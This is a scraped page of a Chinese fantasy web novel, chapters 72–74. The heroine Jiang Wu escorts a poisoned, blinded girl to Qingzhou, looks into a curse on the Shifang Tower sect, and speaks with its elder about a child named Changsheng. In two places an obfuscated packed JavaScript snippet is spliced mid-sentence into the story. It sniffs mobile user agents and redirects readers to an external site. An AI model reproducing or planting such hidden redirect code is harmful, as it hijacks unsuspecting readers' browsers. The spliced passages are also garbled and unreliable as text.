姜芜看着常奉眠手中的法器,规劝道:“眠眠,我可以帮你查真相,但是你要用法器交换一事,可以再考虑考虑,这可是长灵族百年来守护的东西,我知晓你想报仇的心思,但是你用这个来交换,不合适。” 常奉眠神情激动地挥开姜芜的手,冷声道:“我管不了那么多了,只要能报仇,我何事都愿意做!这一切都是凭什么?!我们长灵一族从不入世,安分守己地过日子,村中还有隐藏气息的镇石,为何会遭此劫难?有仇报仇!有怨抱怨!为何要屠杀我村落近百口人命?连刚出生的婴孩也不放过?!这究竟是为什么?!” 常奉眠似乎是想起何事,声音一顿,随即手脚并用地飞快后退,神情警惕地说:“濯漪,你不帮我,莫非是因为屠杀我全村的其实是修罗?濯漪,你同修罗交好,你是不是在包庇他们?” 宿凌薇闻言笑了一声,“疯丫头,我们修罗若是想对你们下手,至于先弄瞎你们眼睛这种下三滥的手段吗?别太看得起你们自己。” 寂满瞪了宿凌薇一眼,满目怜惜地看着常奉眠,“不要说这些了,她已经很伤心了,谁也不想遇到这种事情,难免有昏头的时候。” 宿凌薇耸了耸肩,语气平淡,“常奉眠,姜芜可是看着你长大的,她待你怎样,还需要我再同你重复吗?在场这么多人,她可是唯一一个待你好的人,你这么出口伤她,你安得什么心?” 常奉眠想起小时候的种种,想起自己因为不喜欢修习法术而被关在房间里反省,是姜芜偷偷带她出来放天灯、看烟火,带她去吃点心零嘴,还给她买漂亮的衣裳。 “呜……濯漪,对……对不起……我昏了头了,我不该乱说话伤你的心……” 常奉眠说完便捂脸痛哭了起来。 姜芜上前将常奉眠扶了起来,用帕子擦干净了她脸上的泪水与鼻涕,“好了,别哭了。” 常奉眠缩在姜芜的怀中,泪珠子止不住地往下掉,“濯漪,怎么办?我没有家了,怎么办啊?我……我以后该去哪里啊?” 宿凌薇闻言伸手推了寂满一把,怂恿道:“去啊,到你表现的时候了。大好时机啊,此时不上更待何时?” “啊?我该说什么啊?”寂满突然被推了出来,神情呆滞地看了宿凌薇一眼,随即有些尴尬地伸手挠了挠脸,“眠……眠眠,你……你别哭了,你要不以后跟我回大荒吧,你若是不喜欢我们在人间也可,以后我……我可以照顾你……” 宿凌薇笑着说:“这不是挺会说的吗?” 常奉眠擦了一把眼泪,神情委屈地说:“你是谁啊,谁要你照顾。” “我……我……我是大荒妖王苍旻的第十子,寂满。”寂满结结巴巴地说,“我不是什么别的东西,我觉得我能照顾好你。” 常奉眠冷哼一声,因为情绪过于激动,双眸和嘴角都溢出了黑血,“先照顾好你自己吧,话都说不利索的小屁孩。” “我?小屁孩?!”寂满震惊地瞪大了双眸,“你居然说我是小屁孩?我……你……” 姜芜及时开口打断了二人的谈话,神情凝重地看着那些滴落在地的黑血,而常奉眠像是没有察觉到一般,“收拾一下,我们暂时去不了并州了,就近先去青州,让十方楼看看眠眠的眼睛和体内的毒。” 72. 神像 寂满神情焦急地说:“那还等什么啊?赶紧走吧!我化出原型带你们飞过去!这样比较快!” “先等一等,还有一事尚未解决。”雾沅看向姜芜,“我们若是前往青州十方楼,该以何种身份呢?现下商道长二人皆不在,这种修真门派,我们怕是不好行事吧?” 寂满略略思忖片刻,随即神情担忧地看向姜芜,希望她能想个确切好用的法子出来。 姜芜笑着说:“不必担心,因为十方楼的缘故,青州地界正月里会持续一整月的女皇春神节,十方楼也会因此开楼义诊,接纳九州所有人物,无论是修士亦或是普通人,都会接诊,所以我们根本不需要担心,再者……” 姜芜止住了话头,笑而不语地看向宿凌薇。 宿凌薇接着开口道:“再者,我们这里有两只妖,两个修罗,一个十方楼而已,还找不出一个能给常奉眠看眼睛的人吗?” 寂满捶了捶手心,一副恍然大悟的模样,“对啊,今非昔比了!我现下可是距离真龙只有一步之遥的蛟龙了!区区一个十方楼!能奈我何!” 寂满说完跑到了常奉眠的身侧,笑着说:“眠眠,你放心,我一定会找到十方楼最好的大夫为你治眼睛的!” 常奉眠闻言往姜芜的怀中缩了缩,轻声说:“谢谢你们。” 【青州城】 元日刚过,大街小巷里残留着烟花炮竹的气息,因为女皇春神节的原因,青州从腊月一直热闹至正月底,女皇节为正月二十,祭奠女娲捏土造人,采石补天,除去系红绳于煎饼置于屋顶上,还盛行前往闵河中捞取五色石头,相传在女皇节当天捞到五色石头者可受女娲娘娘庇护一年,这些纳喜的行为之外还有祈福,新婚夫妇还会在正月里到女娲庙求子,或者保佑腹中孩子平安康健。 春神节一般为立春当日,用于祭祀春神句芒,保佑开春万物复苏,风调雨顺,种子早日发芽,农作物茁壮成长。 姜芜走在青州城的主街上,四下看着各种青州的吃食,挑挑拣拣买了几样不曾吃过的,与众人分食。 今日长街之上,人潮涌动,摩肩接蹱,顽童手中举着风车或者糖饼,穿梭在大人之间,四周成群结队地挎着竹筐,里面盛放着供食和香火,纷纷往女娲庙赶去。 寂满半圈着常奉眠,防止她被周围的人挤碰着,连雾沅都被人群挤得眉心紧拢。 宿凌薇护着自己的纱制衣袖,生怕被人群撕扯至脱丝,“我们接下来该怎么办?” 姜芜说:“十方楼会在女娲庙前设立义诊摊位,这些人除了前去祭拜,再就是看病的。” “啊?”寂满大惊,他迅速看了看四周,“这么多人,我们要排到什么时候啊?就算不吃不喝不睡觉,排到正月底可以排到吗?” 姜芜轻笑一声,“不必担心,我自有办法。” 五人随着人潮来到了女娲庙前,十方楼今日开设了五个诊位,五个弟子替排队的百姓看病诊脉开药方。 姜芜脚步一顿,她有些诧异地看向其中一名十方楼的弟子,眉心微拢。 宿凌薇见状顺着姜芜的目光望了过去,脸上也是微微惊诧,随即轻轻地舒了一口气,“未免也太像了些。” 姜芜垂眸苦笑,“不像,只是眉眼之间有些相似而已,进去吧,眠眠的眼睛要紧。”说完,她便踏进了女娲庙之中。 女娲庙是一座四方合院,南口进门,女娲娘娘的神像端坐于北庙之中,身披黄巾,头戴九旒冕,双手之中护着一个穿着肚兜的小娃娃。 东庙供奉着句芒的神像,他盘膝坐于两龙之上,一手托着农具,另一只手托着春种,身后张开着一只巨大的禽鸟双翼,相传太阳每日早上从扶桑神树上升起,神树归句芒掌管,于是东方也属于句芒的掌管之地。 四周皆是祭拜之人,供台上摆满了瓜果点心,人声鼎沸,数不胜数的祈祷之音。 四方小院中伫立着一只巨大的四角铜炉,里面盛放着数不清的香灰,香火旺盛之日,女娲庙内笼罩着一层薄薄的烟雾。 寂满开口问道:“这北庙和东庙都供奉着神仙,为何西庙没有?而且为何春神要同娲皇一起供奉?春神不是效忠于伏羲大帝的吗?” 宿凌薇思忖了片刻,随后才不确信地回道:“娲皇与伏羲大帝不是兄妹吗?春神效忠他们两个其中的谁都一样吧?” 寂满看向了大门紧锁的西庙,“那这处又供奉着谁?怎么不开门啊?” 姜芜听着二人的谈话,不动声色地拎起裙摆朝着女娲庙内走去,她仰头看着慈眉善目的女娲娘娘,随即俯身跪在了蒲团之上,周围的祈祷声萦绕于她的四周,无非是一些凡夫俗子对于未竟之事的期愿。 “女娲娘娘,保佑我媳妇儿来年生个大胖小子。” “女娲娘娘,我儿媳妇进门三年未孕,求您明年一定要送她一个大胖小子。” “女娲娘娘......” “女娲娘娘......” 姜芜双手合十,神情虔诚地抬眸看着女娲神像,烟雾朦胧之间,她恍惚觉得神像有了血肉,正在静静地注视着她。 “女娲娘娘,请保佑他来生平安,生生平安。” 寂满看着姜芜从女娲庙中走出来,“你还信奉娲皇吗?我险些以为你走丢了呢,我们现下要怎么办?” “怎么看方才都像是我将你们放在此处,倒不像是我走丢了。”姜芜唇角微翘,“制造一场骚乱如何?让十方楼的人请我们进楼。” 宿凌薇赞同地点了点头,“这个方法倒是不错,简单又快捷。” 寂满难以置信地说:“骚乱?这里可全都是人,万一误伤了别人怎么办?我可不想再被人抓回大荒问罪。” 常奉眠神情担忧,“濯漪,这里全都是人,而且还有这么多的孩子,若是真的出了什么事情,我们真的承担不起。” “无事,我心中有数。”说完,姜芜运起戾气,一掌拍开了西庙的木门,一尊布满灰尘的女神像揭开面纱暴露在世人面前,她手捧五色彩石,竖着垂耳双髻,发上带满了鲜花,身穿红襟白衣,外罩孔雀青色的霞帔与围裳,面带亲切笑意地看着朝拜者。 四周祭祀的百姓被突如其来的变故惊得面如土色,院内的人顿时一哄而散,全部挤身于女娲庙和春神庙中,祈求着庇护。 “你怎么一言不合就出招?”寂满抬手替常奉眠挡住风沙,扇了扇面前的余浪,当他看清面前的景象时脸色大变,抬手指着西庙,“这里怎么还有一尊神像啊?” 傅靖川迅速跑进了女娲庙内,厉声质问道:“大胆!是谁敢在女娲庙内闹事!” 姜芜抬眸看向傅靖川,双眸轻轻一眯,随即上前几步,“无人在女娲庙前闹事,只是有一阵风吹开了西庙的门而已。” 傅靖川看向西庙破损的大门,神情质疑地看着姜芜,“风可以有如此大的威力?您莫不是当我是三岁小孩,诓骗我吧?” 姜芜面上笑容不改,“庙内神像如此漂亮,为何要置之一旁,不如小大夫讲讲这是哪路神仙?” 傅靖川闻言抬眸看向西庙的女神像,他并不认识这位女神,自从他拜入十方楼后便没有听人说起过这位女神,甚至不知晓女娲庙内还有这位女神的存在,他一直以为女娲庙的西屋是空闲的,暂时没有神仙立金身像。 傅靖川摇了摇头,刚要开口说话便突然伸手捂住了脖颈,面色痛苦地半跪了下去,丝丝缕缕的红光从他的身上冒出,他的手掌青筋爆现,手上力气之大,像是要将自己掐死。 “傅师兄!傅师兄!你怎么样?” “是诅咒!是诅咒!十方楼的人全都被诅咒了!” 姜芜见状迅速咬破自己的中指,伸手点在了傅靖川的眉心处,血珠顺着她指尖的动作一直滑至后者的下颌处,“没事的,你不会死的。” 傅靖川意识朦胧地抬眸看向姜芜,面前女子修为高深莫测,身穿一件透青白衣裙,发上箍着闷青色的发绳,编了一侧的发辫,发尾处坠着几颗白色的小花,额间似鸽血般红艳的发饰一直在他脑海中晃动,简直比西庙的女神像还要漂亮几份。 傅靖川双手松开自己的脖颈,卸力昏倒过去。 郝康乐惊讶地抬眸看向姜芜,“你能解诅咒之术?” 姜芜说:“自然不能,想要解除诅咒还是要找到施咒之人,我只不过是暂时缓解了咒发而已。” 江远舟见状立刻抬手施礼,“还请前辈同我们一起前往楼中,帮我们找到下咒之人!救我们十方楼一命!” 姜芜挑眉,她原本只是想引起十方楼的注意,却不曾想到十方楼居然有此劫难,于是她也乐意顺手推舟地做人情。 “乐意之至,刚好我也寻楼内长老有事。” 江远舟闻言迅速找了两个弟子扶起傅靖川,分开两侧前来祭拜的百姓,请姜芜几人随他们回楼。 “春祭义诊,我们不能随意离开这边,所以我让郝师弟带你们回楼,请务必救救我们。” 寂满闻言一愣,随即笑了起来,“真是踏破铁鞋无觅处,得来全不费工夫啊,谁也想不到十方楼会发生这种事,谁也想不到姜芜可以压制十方楼的诅咒。” 雾沅神情严峻地说:“切勿放松警惕,我觉得那诅咒之光诡异,可能并非易事,怕是有邪物作祟。” 宿凌薇哼笑了一声,“有何好怕的?只要找到下咒之人,还不是一掌便能解决的?” 雾沅并不认同宿凌薇的处世态度,“在一切未明了之前,切记不要掉以轻心。” 常奉眠紧张地扯着寂满的袖子,“方才是发生何事了吗?” 寂满搀扶着常奉眠跟上了姜芜的步伐,绘声绘色地同她讲着方才的事情。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531208|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿姑娘。”雾沅快步跟上了宿凌薇,同她并肩前行,“不知宿姑娘活了多久,可认得方才西庙中的女神?” 宿凌薇摇了摇头,“下位神仙的更新换代很快,而且上界并没有我们想象得那么平和,神仙之间也常有斗争。在娲皇补天之前,普天之下全是神仙,补天之后,赏罚分明,点兵封将,所有神仙不得下界,以免祸事重现,世间便没有了神,后续又因为开榜封神争斗不休,麻烦事如同海浪一般,来了又去,去了又来,谁又知晓那尊神像姓谁名谁呢,是何时产生的神呢。” 雾沅回头看了一眼西庙的女神像,目光落在她手中的五色彩石上,沈确曾经说过五行道祖修复无幻之境封印的圣物之一便是女娲娘娘曾补天所用的五彩之石,只是不知晓废弃的女神像手中所捧的五色彩石同前者有何联系。 【十方楼】 十方楼大长老听闻此事,立刻早早地出楼迎接,大长老司寇珺头发花白,身体佝偻,手中拄着一根拐杖,颤颤巍巍地站在料峭春风中,殷殷切切地望着进楼的路。 十方楼涉水而建,主楼为环水的四角玲珑楼,其余院落依八卦状依次排列于主楼附近。 司寇珺见有人前来,立刻迎了上去。 郝康乐飞快地跑上前,双腿一弯跪在了司寇珺面前,神情焦急地说:“大长老,求求你救救傅师兄,他也中了诅咒之术。” 司寇珺身旁的道童上前将郝康乐扶起,疾言厉色地说:“大长老面前不得无礼!今日有贵客前来!速速退下!” 郝康乐抬眸看了大长老一眼,随即在道童的拉扯下站到了一旁。 姜芜看着郝康乐被扯到一旁,脚下站定,她抬头缓缓地扫视了一眼六层四角楼,血气萦绕的模样确实像诅咒之术。 宿凌薇见状,忧心忡忡地上前对姜芜说:“这怕是族内的血刹术,莫非有修罗同这十方楼有了牵扯?看样子事情不小,否则也不会如此大费周章消耗生命力来诅咒他们。” 姜芜说:“怕是所谓的修真正派也有着不为人知的秘辛。” 司寇珺见状并不着急上前打扰,而且在姜芜收回目光以后才在道童的搀扶之下缓步上前,和颜悦色地问道:“尊者可有看出什么?” 姜芜闻言看向面前的老者,修为并不高,也就在化神期上下,一双眼眸黑白分明,炯炯有神,面颊红润,皮肤似年轻人一般富有弹性,身体却像老年人一般皮肉包骨。 寂满只觉得怪异骇人,抬手遮了遮常奉眠的双眸。 “怨气深重,也有段时日了,五年只多不少。” 司寇珺双眸一亮,立即侧身让路,语气里带了几分敬意,“尊者里面请,我们楼中详谈。” 姜芜回头看了一眼仍处于昏迷中的傅靖川,开口问道:“您门中弟子?” 司寇珺看了一眼傅靖川,神情冰冷,“得此诅咒的外门弟子皆未能活过明日日出,无一例外,放他自生自灭吧。” 姜芜说:“长老妄言,若想解这诅咒之术无他不可,追本溯源才能找到施咒者。” 司寇珺看了傅靖川一眼,随后挥了挥手,示意周身的道童抬上他前往楼中。 姜芜抬步跟上一干道童的步伐,宿凌薇等人正准备上前却被司寇珺身侧的道童拦了下来。 “偏院准备了茶水点心,还请客人稍作休息。” 寂满眉心一拢,“我们是一起来的,只让她一个女子进去吗?这样也太危险了。” 宿凌薇见状直接出声喊住姜芜,面色不悦地说:“不要多管闲事。” 姜芜回头看着众人,“无事,我去去便来,你们先休息片刻。” 雾沅虽然觉得姜芜的决定欠缺思虑,但依旧点了点头,“有事喊我们。” “好。” 姜芜随着司寇珺进入了十方楼内,一个蒙着眼的五岁小童颤颤巍巍地扑到了她的腿上。 “抓到你了!” 乳母抬眸看到司寇珺阴沉的面色,顿时肝胆俱裂,立刻跪了下来,并轻声呼唤着小童的名字。 “长......长生……快过来……” 道童见状立刻上前便要抬脚将小童踢开,姜芜先一步俯身将小童抱了起来,并摘去了他蒙眼的布巾。 “你叫长生?” 长生看着周围站满神情不善的人,脸色顿时煞白,缩着脖颈像一只鹌鹑一般,不敢再说话。 “别怕。”姜芜伸手擦拭干净长生额头上的热汗,随后将他放下,往乳母的方向推了几分,“去玩吧。” 司寇珺冷哼一声,“尊者倒是心善,你可知那孩子是个异类,久留不得,时间一长必定是个祸害。” 姜芜问道:“既然如此,长老为何还将他留在楼中?” 司寇珺眼底一片冰冷,“那可是连最强烈的堕胎药都杀不死的孽障,还指望如何能杀死他?” 73. 恳求 姜芜挑眉,“看来长生大有来历?” 司寇珺心中想起了往事,重重地叹了一息,“此事说来话长,尊者还请上座,听我慢慢道来。” 道童们将傅靖川放在地板上,只留一个司寇珺的贴身道童在旁煮茶,其余的全部退了下去。 一条小溪流将楼内一分为二,一侧上升,一侧下沉。木阶隐于墙壁内,凭借机关旋行向上,举目望去,皆是匠造人巧夺天工的手艺。 司寇珺见姜芜一副入神的模样,满意地笑了起来,“尊者感觉如何?这十方楼后续翻修可是我的忘年交荆州萧魁一手操持的,可惜天妒英才,萧兄被鬼族人迫害致死。近期我又听闻舒延也下落不明,不知生死。” 司寇珺说完,深深地叹了一口气,“萧兄如此优秀之人,不曾想落得如此下场。” 姜芜斜靠在凭几上,抬手打断了司寇珺的感慨,“斯人已逝,深究无用,长老还是先说说十方楼的事情吧,避免让更多的弟子受诅咒之苦。” 司寇珺先是长长地叹了一息,神情之中满是遗憾与痛惜,“我原本坐下有一剑、药双/修的徒儿名为步寒夜,此前位列七仙之位,与门下一名为谷卿云的女修青梅竹马、情投意合,我本意是等二人小有所成之后便为他们举办合籍大典,成全他们的一番情谊。谁知天不遂人愿,百年之前,出现了一男一女两个修罗,我徒寒夜遭修罗挖心而亡,卿云也被修罗掳走,下落不明。待她五年前再次归门后,却已经被修罗糟践了身子,怀上了长生这个孽种!” 姜芜神情复杂地看着司寇珺,似有些无助又有些疑惑,“杀您徒儿的修罗可是长生的父亲?我见长生不过五岁大的模样,卿云是刚归门不久?还是说修罗与人族的子代长得格外缓慢?” 司寇珺抬眸大惊失色地看向姜芜,“尊者为何这般问?自然不是,杀寒夜的修罗至今下落不明,五年前,卿云归门时便已经怀了长生,整日郁郁寡欢,多次服用堕胎药无果,伤了身子根基,生下长生后便撒手人寰了。我想十方楼现下这般,一定是我那徒儿泉下有知,怨恨我这个做师傅的未能护他心上人周全。” 道童端着煮好的两杯茶放在了二人面前,温声规劝道:“长老,您也别太自责了,大师兄温和善良,定然不会责怪您的。” “可怜我十方楼的弟子,五年内受诅咒之术所累,命丧黄泉者不在少数。”司寇珺抿了口茶,润了润干瘪的双唇,“只是不知尊者为何对修罗之事如此感兴趣?” 姜芜合眸轻轻地敲了敲额角,随即长长地舒了一口气,她看着茶碗中的茶汤,开口道:“因为我见这诅咒戾气横生,像是修罗所为,所以才多问了几句。” 道童大惊,追问道:“可是欺辱谷师姐的修罗所设诅咒之术?他害师姐至此,还要害了她的师门不成?” 姜芜说:“其中疑点重重,解铃还须系铃人,当下最要紧地便是要先找到施咒之人,破除诅咒之术,令十方楼众人莫要陷入恐慌才是。” 司寇珺说:“如此甚好,有劳尊者了,今日能在女娲庙遇到尊者,实乃女娲娘娘庇护,十方楼之幸事。” 姜芜莞尔,她垂眸抿茶,“长老不必如此,我等一行人前来青州就是来寻长老的。” 司寇珺讶然,“哦?我观尊者不凡,这天底下还有尊者不能解决的事情吗?” “术业有专攻,这治病救人的事情还需要十方楼出手。”姜芜说,“我有一侄女,近日双眸遭了难,不能视物,体内还有毒素残留,还请长老救命才是。” 司寇珺问道:“是何种毒?尊者可有了解?” “怕是南疆鬼族人的瘴气。” 姜芜的话音刚落,傅靖川便发出了一身轻吟,托着沉重的四肢挣扎地坐了起来,他先是环视了一番四周,见主座上坐着女娲庙的那名神秘女子和大长老司寇珺,立刻翻身跪地施礼。 “楼外弟子傅靖川.......见过大长老......” 傅靖川只觉得一阵天旋地转,不自觉地摇了摇头,却因为失去了方向感而扑倒在地。 司寇珺斜睨了傅靖川一眼,一脸不耐地说:“既然醒了,身子不适便下去休息,莫要在此丢人现眼。” 姜芜见状,起身走到了傅靖川面前,她矮身拂开后者脸上的乱发,发觉血液压制的作用正在减弱,血刹术无非就是以自己的生命为媒介,将大量戾气逼入他人体内,导致中咒者经脉逆流而亡。 此咒若是放在修罗之间,拼得无非是谁的戾气更雄厚,若是放在修罗与人族之间,便不是那般简单了,人族在大量戾气入体后无论是修士还是普通人都无法存活。 姜芜捏着傅靖川的手腕,感受着他体内戾气的厉害程度,随即问道童要了纸笔,写了一道药方递了过去。 司寇珺接过道童递来的药方扫了一眼,随即便还给了道童,并命他前去抓药,“尊者还会医术?” 姜芜说:“略懂一些,对于他而言治标不治本,要想保住性命还是要找到施咒者。” 司寇珺说:“既然尊者如此全力以待,我也不好来而不往,我便命楼内最出色的弟子前去小院给尊者的侄女看病祛毒。” 姜芜伸手覆在傅靖川的双眸上,示意他合眼休息,“那便有劳长老了,两日之内我便替十方楼找到施咒的修罗。” 司寇珺脸上展现出一丝笑颜,“那便再好不过了。”说完,他便吩咐一旁的药童去请杜慈同姜芜一起回小院。 【小院】 杜慈面色凝重地切着常奉眠的脉,另一只手捻着自己的山羊胡须,随即又取下了她脸上的白巾,细细地观察起她的双眸。 “姑娘现下难视一物吗?” 常奉眠点了点头,“双眼都难以睁开,大夫,我还能再看见吗?” 杜慈抬眸欲言又止地看了姜芜一眼。 寂满见状催促道:“您赶紧说呀,有什么不能说的?” 杜慈垂眸写着药方,“先祛祛体内的瘴气吧,瘴气长时间存留在体内,容易腐蚀五脏六腑。” 寂满问道:“那眼睛呢?” 杜慈着手收拾起自己的药箱,“我先开几次敷料缓解一下双眼的肿痛之证,等体内瘴气祛除干净了,再治眼睛。若是瘴气积攒于体内不除,怕是有性命之虞。” 杜慈抬手将药方递给姜芜,“我来告诉您药阁在哪,您去抓药吧,我见瘴气入体不久,应该不日便能排出体外。” 姜芜伸手接过药方,随即同杜慈走了出去,直到走出小院,姜芜才开口问道:“我方才见杜大夫欲言又止,您的意思是她的眼睛治不好了?” 杜慈抬眸看了姜芜一眼,脚步一转,“姑娘这边走,我带您去药阁抓药。” 姜芜笑着颔首,“杜大夫有话尽管说便是,我们都是入道之人,有何不能说的呢?” 杜慈闻言组织了一番词措,“我知晓那姑娘并非人族,而是在九州早已销声匿迹的长灵族,南疆瘴气可是长灵族的克星,若是如同修士吸入瘴气,最多真元运行受阻,可那姑娘是长灵族,是会要命的,眼睛看不见了暂且无事,现下最重要的是要保住她的命。” 姜芜收敛了脸上的笑容,“要如何保命?” 杜慈沉思了片刻,随后对姜芜说:“这张药方只是适合人族修士,不知是否同样适合长灵族,要想保住她的命,怕是需要无幻之境内的天河之水,相传此水可净化世间一切污浊。只是取水困难,修罗一族残暴,当初进入无幻之境的修士没有一个活着出来的,真是相当可怖。即便是九州有流传,恐怕也是难辨真假,有市无价。所以,您最好还是早些做好准备。” 姜芜面不改色地收起药方,“先让她试试看吧。” 杜慈颔首,“药阁到了,我同您进去取药。” 郝康乐双手夹着药方,不断地祈求药阁师兄,“师兄,您行行好,先给我拿药吧,我等着救命呐。” 药阁师兄一脸不耐烦地挥了挥手,“走开走开,没看到我正在忙吗?这是四位长老今日份的汤药,中午还有药膳,耽误了长老的饮食和汤饮,你负担得起吗?” 郝康乐拿袖子擦了擦发红的眼睛,“我知道我负担不起,但是煎药的过程有药童看守,您就趁着这个机会给我拿药吧,若是楼外弟子不能碰药材,我便不麻烦师兄了。” 姜芜见郝康乐急红了双眸,将手中的药方递给杜慈,“不要为难他了,一起拿了吧。” 杜慈颔首,伸手接过药方,随后又上前取了郝康乐手中的药方,略略扫过一眼后,神色大惊。 “这是谁写的药方?” 郝康乐刚要抬手施礼,闻言愣在了原地,满腹疑惑地挠了挠头发,“这是大长老给的,有什么问题吗?” 姜芜开口说:“药方是我写的,有问题吗?” 杜慈急切地问道:“这是消除戾气腐蚀之息的药方吗?这几位药真的可以有如此大作用吗?” 姜芜说:“效果其佳。” 杜慈喜出望外,“太好了,太好了,我们十方楼研究了半载都无法突破的事情,原来只是这几位药材配比的问题吗?!真是太好了。” 姜芜双眸一眯,察觉到了一丝的不对劲,“你们是如何知晓那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548286|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位药材对戾气有用亦或者无用的?” 杜慈面色一僵,随即讪笑着说:“我先帮您拿药,先拿药。” 杜慈说完冷汗津津地抓完了所有的药和敷料,然后递给了姜芜和郝康乐,背着药箱略略施礼,便快步离开了药阁。 郝康乐兴高采烈地抱着药袋,与姜芜一同往药阁外走去,“今日可真是谢谢你了,既救了傅师兄又帮我抓了药材。” 姜芜笑着说:“不必客气,你傅师兄如何了?” 郝康乐抿着唇摇了摇头,“不太好,也不知晓这些药能不能行,傅师兄那么好的人可千万不能有事啊。” “我同你一起去见见他。” 姜芜行至院门前喊了寂满前来拿药,随后跟着郝康乐去了他们的院落,见到了面如金纸的傅靖川。 傅靖川伏在床榻边缘,闻声抬起了一双朦胧无神的双眸。 郝康乐见状立刻飞奔上前,伸手摸了摸傅靖川的额头,神情担忧地将被子覆盖到了后者的身上,“傅师兄,你感觉如何?” 傅靖川虚弱地摇了摇头,“板凳底下粘着几块碎银子,同远舟说一声,你们三人省着点花。” 郝康乐蹙眉,“师兄,你说什么傻话呢,我把药拿来了,你很快便会好起来的。” 姜芜看着傅靖川的模样,上前拍了拍郝康乐的肩膀,示意他让开些位置,随后她坐在榻边的矮凳上,取了傅靖川的手腕,探着他的脉息。 “难受吗?” 傅靖川面前痛苦地摇了摇头。 姜芜看着傅靖川同睢羲神似的眉眼,眉心紧紧地拢了起来。 “傅师兄,你等着,我立刻去给你煎药,喝完药,你便能好起来了。”说完,郝康乐便马不停蹄地跑了出去。 姜芜抬手虚虚地遮住傅靖川的下半张脸,“傅靖川,同我讲你难受。” 傅靖川抬眸看向姜芜,眼神逐渐聚焦,他看不清那双漂亮眼睛中的复杂情绪,像是怜惜,像是眷恋,又像是懊悔,他不是很能明白,像他这般孤苦伶仃之人居然也会有人这般怜爱他,但是那双眼睛似乎又不像是在看他。 傅靖川习惯性地摇了摇头,他不愿意有人因此而担心他。 姜芜蹙眉,语气里有些不悦,“傅靖川,你若是同我讲你难受,我便会救你。” 傅靖川神情一愣,他意识迷茫地握住姜芜的手,汗津津的额头贴在后者的手背上,汲取着上面的温度,一言不发。 姜芜冷笑一声,“你是何等的傲骨身姿,连一句求人的话都不会说吗?还是你觉得自己死了便好,毕竟死了一了百了,可以不必如此痛苦,活着却只有无尽的痛苦,你选择死还是活?” 傅靖川痛苦地蜷缩着身体,语气虔诚地说:“求求你,救救我吧,我好难受,难受得要死掉了。” 姜芜闻言深深地吸了一口气,随后凭借着与傅靖川交握的手,将他体内翻腾不息的戾气吸纳进了自己的身体中。 傅靖川觉得浑身的不适在一瞬间消失,他紧绷的意识松了根弦,立刻昏睡了过去。 保险起见,姜芜在傅靖川的体内留了一缕作祟的戾气,防止被十方楼的人看出端倪。 姜芜起身,垂眸盯着傅靖川看了片刻,伸手擦去他眼角的泪珠,随后起身走了出去。 寂满正在庭院里摇着扇子煎药,余光瞥见姜芜走了进来,“姜芜,你去哪里了?你知不知道青州城内有没有卖那种好吃的糖?” 姜芜俯身掀起砂盖,垂眸看了一眼其中滚沸的汤药汁,随后从纳袋中取了一只荷包出来,“瓜子糖。” 寂满看着姜芜手中的瓜子糖,他双眸立刻放光,“瓜子糖?好吃吗?” 姜芜放下盖子,解开了荷包的抽绳,笑着说:“尝尝?” 寂满踌躇了片刻,随后摇了摇头说:“不了吧,还是留给眠眠吧,这个药感觉很苦的。” 姜芜有些无奈地看着寂满,又从纳袋中取出另一包瓜子糖,“寂满,你同眠眠认识也没有多久,也没有刻骨铭心的记忆,为何会这么喜欢她?” “喜欢原来这么复杂吗?非要有这么多的前置条件,所以才能被称为喜欢吗?你当初为何会喜欢睢羲?后来为何又同段怀野那么好?你们之间有什么刻骨铭心的记忆啊?”寂满被姜芜问得有些莫名其妙,“喜欢一个人,不就是要对她好吗?我见她第一眼就很喜欢啊,虽然我说不出这种感觉,但是这种感觉就是在眠眠身上才有,在别人身上是没有的。” 姜芜脸上笑意更深,想起自己同睢羲的初见,对寂满说:“就是觉得他好看,所以才喜欢的。” 74. 违心 寂满怪异地叫了一声,他抬眸看向姜芜,“你居然也会是这般肤浅的人,居然会被外表所迷惑?!他长得鬼气森森的,要吓死人了,也就你觉得好看而已,那句话怎么说来着?情人眼里出西施?” 姜芜忍俊不禁,将一袋瓜子糖放在了寂满的手中,“王八看绿豆,看对眼了呗,就像你说的那般,这种感觉在其他人身上是没有的。” 寂满从荷包中捏出几粒瓜子糖放进口中咀嚼,“我不是那个意思,我的意思是虽然人族都说修罗面目可怖,但是我见过得都长得挺好看的,你是怎么从那么多好看的修罗里面挑中睢羲的?” 姜芜坐到围栏上,仔细地思索了片刻才对寂满说:“他强大啊,会照顾人,跟他在一起很多事情不用发愁的,他会处理好一切的,会满足我的所有要求。” 寂满眉心紧拢,一脸不解地看向姜芜,“你这个描述让我想起一个人,也不知晓睢羲是怎样阴沉着一张脸照顾你的,你不害怕吗?” 姜芜挑眉,“你想起了谁?” 寂满认真地回道:“我娘,我娘很强大,会照顾我,跟她在一起很多事情都不用发愁,她会给我提供充足的食物和巢穴,而且会处理好一切。我小时候只需要将自己盘起来,乖乖地等她回来就好,即便是什么都不做,她也会夸我听话。” 姜芜掩唇笑了起来,“听起来确实有些像,不过我同睢羲没有血缘关系的。” 寂满想起姜芜同睢羲的关系,顿时觉得后脊发凉,他有些想不明白修罗一族的相处方式,只能无奈地摇了摇头,“你们修罗真是奇怪,这样居然能处出亲情之外的感情来。” 